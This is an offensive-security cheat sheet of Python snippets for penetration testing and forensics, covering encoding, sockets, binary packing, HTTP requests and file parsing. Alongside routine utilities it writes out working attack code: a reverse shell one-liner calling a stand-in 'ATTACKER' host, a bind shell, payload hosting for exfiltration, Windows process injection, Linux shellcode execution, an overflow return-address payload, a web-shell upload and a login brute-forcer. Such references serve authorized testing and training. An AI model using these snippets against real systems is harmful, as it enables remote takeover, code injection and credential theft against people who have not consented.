← All cheat sheets

PYTHON-SECURITY

Authorized use only. Offensive reference for systems you own or are explicitly permitted to test. You are responsible for staying within the law.

Python one-liners, networking, binary manipulation, and automation
patterns for penetration testing, DFIR, and security tooling.

QUICK ONE-LINERS#

# Simple HTTP server (file exfil / hosting payloads)
python3 -m http.server 8080
python3 -m http.server 8080 --bind 0.0.0.0 --directory /tmp

# Reverse shell
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

# Bind shell
python3 -c 'import socket,subprocess;s=socket.socket();s.bind(("0.0.0.0",4444));s.listen(1);c,a=s.accept();import os;os.dup2(c.fileno(),0);os.dup2(c.fileno(),1);os.dup2(c.fileno(),2);subprocess.call(["/bin/sh","-i"])'

# Base64 encode/decode
python3 -c "import base64; print(base64.b64encode(b'payload').decode())"
python3 -c "import base64; print(base64.b64decode('cGF5bG9hZA==').decode())"

# URL encode/decode
python3 -c "import urllib.parse; print(urllib.parse.quote('hello world'))"
python3 -c "import urllib.parse; print(urllib.parse.unquote('hello%20world'))"

# Hex encode/decode
python3 -c "print(bytes.fromhex('48656c6c6f').decode())"
python3 -c "print(b'Hello'.hex())"

# Hash a string
python3 -c "import hashlib; print(hashlib.md5(b'password').hexdigest())"
python3 -c "import hashlib; print(hashlib.sha256(b'password').hexdigest())"

# Generate random password
python3 -c "import secrets,string; print(''.join(secrets.choice(string.ascii_letters+string.digits+'!@#$') for _ in range(20)))"

# Scan open ports (quick)
python3 -c "import socket; [print(f'Port {p} open') for p in range(1,1025) if socket.socket().connect_ex(('TARGET',p))==0]"

# DNS lookup
python3 -c "import socket; print(socket.gethostbyname('example.com'))"

# Whois (without external tools)
python3 -c "import socket;s=socket.socket();s.connect(('whois.iana.org',43));s.send(b'example.com\r\n');print(s.recv(4096).decode())"

SOCKET PROGRAMMING#

import socket

# TCP client
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.10.10.5', 80))
s.send(b'GET / HTTP/1.1\r\nHost: 10.10.10.5\r\n\r\n')
response = s.recv(4096)
print(response.decode())
s.close()

# TCP server
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind(('0.0.0.0', 9999))
server.listen(5)
client, addr = server.accept()
print(f'Connection from {addr}')
data = client.recv(1024)
client.send(b'ACK')
client.close()

# UDP client
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(b'hello', ('10.10.10.5', 53))
data, addr = s.recvfrom(4096)

# UDP server
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind(('0.0.0.0', 9999))
data, addr = s.recvfrom(1024)
s.sendto(b'ACK', addr)

# Port scanner
def scan_port(host, port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(1)
    result = s.connect_ex((host, port))
    s.close()
    return result == 0

for port in range(1, 1025):
    if scan_port('10.10.10.5', port):
        print(f'Port {port} is open')

# Threaded port scanner
import concurrent.futures
def scan(port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(0.5)
    if s.connect_ex(('10.10.10.5', port)) == 0:
        return port
    s.close()

with concurrent.futures.ThreadPoolExecutor(max_workers=100) as ex:
    results = ex.map(scan, range(1, 65536))
    for port in filter(None, results):
        print(f'Port {port} open')

# Raw socket (requires root)
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
s.sendto(b'\x08\x00\x00\x00\x00\x00\x00\x00', ('10.10.10.5', 0))

STRUCT (BINARY PACKING)#

import struct

# Pack data (create binary structures)
struct.pack('<I', 0xdeadbeef)               # Little-endian 32-bit: b'\xef\xbe\xad\xde'
struct.pack('>I', 0xdeadbeef)               # Big-endian 32-bit: b'\xde\xad\xbe\xef'
struct.pack('<Q', 0xdeadbeefcafebabe)        # Little-endian 64-bit
struct.pack('<H', 0x1337)                    # Little-endian 16-bit
struct.pack('<B', 0x41)                      # Single byte

# Unpack data (parse binary)
struct.unpack('<I', b'\xef\xbe\xad\xde')    # (3735928559,) = 0xdeadbeef
struct.unpack('>I', b'\xde\xad\xbe\xef')    # (3735928559,)
struct.unpack('<HH', b'\x37\x13\xef\xbe')   # Two 16-bit values

# Format characters
# <   little-endian    >   big-endian     !   network (big)
# B   uint8 (1 byte)   b   int8
# H   uint16 (2 bytes) h   int16
# I   uint32 (4 bytes) i   int32
# Q   uint64 (8 bytes) q   int64
# s   char[]           f   float          d   double

# Exploit pattern: pack return address
payload = b'A' * 72 + struct.pack('<Q', 0x00401234)

# Parse network packet header
data = b'\x45\x00\x00\x3c...'
version_ihl, tos, total_len = struct.unpack('!BBH', data[:4])

# Parse ELF magic
with open('/bin/ls', 'rb') as f:
    magic = struct.unpack('4s', f.read(4))  # b'\x7fELF'

CTYPES (CALLING C LIBRARIES)#

import ctypes
import ctypes.util

# Load shared library
libc = ctypes.CDLL('libc.so.6')             # Linux
libc = ctypes.CDLL('libSystem.B.dylib')     # macOS

# Call C functions
libc.printf(b"Hello from C\n")
libc.getuid()                               # Get UID
libc.getpid()                               # Get PID

# Windows API calls
kernel32 = ctypes.windll.kernel32
user32 = ctypes.windll.user32
ntdll = ctypes.windll.ntdll

# Process injection (Windows)
kernel32.OpenProcess.restype = ctypes.c_void_p
handle = kernel32.OpenProcess(0x1F0FFF, False, PID)  # PROCESS_ALL_ACCESS
addr = kernel32.VirtualAllocEx(handle, 0, len(shellcode), 0x3000, 0x40)
kernel32.WriteProcessMemory(handle, addr, shellcode, len(shellcode), 0)
kernel32.CreateRemoteThread(handle, None, 0, addr, None, 0, None)

# Shellcode execution (Linux)
import mmap
buf = mmap.mmap(-1, len(shellcode), prot=mmap.PROT_READ|mmap.PROT_WRITE|mmap.PROT_EXEC)
buf.write(shellcode)
ctypes.CFUNCTYPE(ctypes.c_void_p)(ctypes.addressof(ctypes.c_char.from_buffer(buf)))()

# Syscalls (Linux)
libc.syscall(39)                            # getpid via syscall

HTTP REQUESTS#

import requests

# GET request
r = requests.get('http://target.com')
r = requests.get('http://target.com', verify=False)  # Skip SSL
r = requests.get('http://target.com', proxies={'http':'http://127.0.0.1:8080'})

# POST request
r = requests.post('http://target.com/login',
                   data={'user': 'admin', 'pass': 'password'})
r = requests.post('http://target.com/api',
                   json={'key': 'value'},
                   headers={'Authorization': 'Bearer TOKEN'})

# Session (persist cookies)
s = requests.Session()
s.post('http://target.com/login', data={'user':'admin','pass':'pass'})
r = s.get('http://target.com/dashboard')    # Authenticated

# File upload
files = {'file': open('shell.php', 'rb')}
r = requests.post('http://target.com/upload', files=files)

# Download file
r = requests.get('http://target.com/secret.pdf')
with open('secret.pdf', 'wb') as f:
    f.write(r.content)

# Brute force
with open('passwords.txt') as f:
    for pwd in f:
        r = requests.post('http://target.com/login',
                          data={'user': 'admin', 'pass': pwd.strip()})
        if 'Welcome' in r.text:
            print(f'Found: {pwd.strip()}')
            break

SUBPROCESS & OS#

import subprocess, os

# Run command and get output
result = subprocess.run(['nmap', '-sV', 'target'], capture_output=True, text=True)
print(result.stdout)

# Shell command
output = subprocess.check_output('whoami', shell=True).decode().strip()

# Pipe commands
ps = subprocess.Popen(['ps', 'aux'], stdout=subprocess.PIPE)
grep = subprocess.Popen(['grep', 'python'], stdin=ps.stdout, stdout=subprocess.PIPE)
output = grep.communicate()[0]

# File operations
os.listdir('/etc')
os.walk('/home')                            # Recursive
os.path.exists('/etc/passwd')
os.chmod('/tmp/script.sh', 0o755)
os.getuid()                                 # Current UID
os.geteuid()                                # Effective UID

CRYPTO#

import hashlib, hmac
from Crypto.Cipher import AES               # pip install pycryptodome

# Hashing
hashlib.md5(b'data').hexdigest()
hashlib.sha1(b'data').hexdigest()
hashlib.sha256(b'data').hexdigest()

# HMAC
hmac.new(b'secret', b'message', hashlib.sha256).hexdigest()

# AES encryption
key = b'Sixteen byte key'
cipher = AES.new(key, AES.MODE_CBC)
ct = cipher.encrypt(b'Attack at dawn!!')     # Must be 16-byte blocks
iv = cipher.iv

# AES decryption
decipher = AES.new(key, AES.MODE_CBC, iv=iv)
pt = decipher.decrypt(ct)

# XOR
def xor(data, key):
    return bytes(a ^ b for a, b in zip(data, key * (len(data)//len(key)+1)))

FORENSICS & PARSING#

# Parse PE file
import pefile                                # pip install pefile
pe = pefile.PE('malware.exe')
print(f"Entry: {hex(pe.OPTIONAL_HEADER.AddressOfEntryPoint)}")
print(f"Sections: {[s.Name.decode().strip() for s in pe.sections]}")
for entry in pe.DIRECTORY_ENTRY_IMPORT:
    print(f"DLL: {entry.dll.decode()}")

# Parse ELF
from elftools.elf.elffile import ELFFile     # pip install pyelftools
with open('binary', 'rb') as f:
    elf = ELFFile(f)
    for section in elf.iter_sections():
        print(f"{section.name}: {hex(section['sh_addr'])}")

# PCAP analysis
from scapy.all import rdpcap
pkts = rdpcap('capture.pcap')
for pkt in pkts:
    if pkt.haslayer('TCP') and pkt['TCP'].dport == 80:
        print(pkt.summary())

# Log parsing
import re
with open('/var/log/auth.log') as f:
    for line in f:
        if 'Failed password' in line:
            ip = re.search(r'from (\d+\.\d+\.\d+\.\d+)', line)
            if ip:
                print(f"Failed login from: {ip.group(1)}")

USEFUL LIBRARIES#

requests          # HTTP client
scapy             # Packet crafting
pwntools          # Exploit dev / CTF
paramiko          # SSH client
impacket          # Windows protocols (SMB, MSRPC, etc.)
pefile            # PE file parsing
pyelftools        # ELF file parsing
pycryptodome      # Crypto operations
beautifulsoup4    # HTML parsing
lxml              # XML parsing
dnspython         # DNS queries
python-nmap       # Nmap wrapper
shodan            # Shodan API
censys            # Censys API
yara-python       # YARA rule matching
volatility3       # Memory forensics
oletools          # Office document analysis

TIPS#

  - Use requests.Session() for authenticated scanning
  - struct.pack for exploit payloads, ctypes for API calls
  - concurrent.futures for fast parallel scanning
  - Always use timeout on socket connections
  - verify=False and urllib3 warnings for pentesting
  - Use argparse for reusable security scripts
  - f-strings with hex: f'{addr:#x}' for clean output
  - bytes.fromhex() and .hex() for quick hex conversion
  - subprocess.run() over os.system() for safety
  - Virtual environments isolate tool dependencies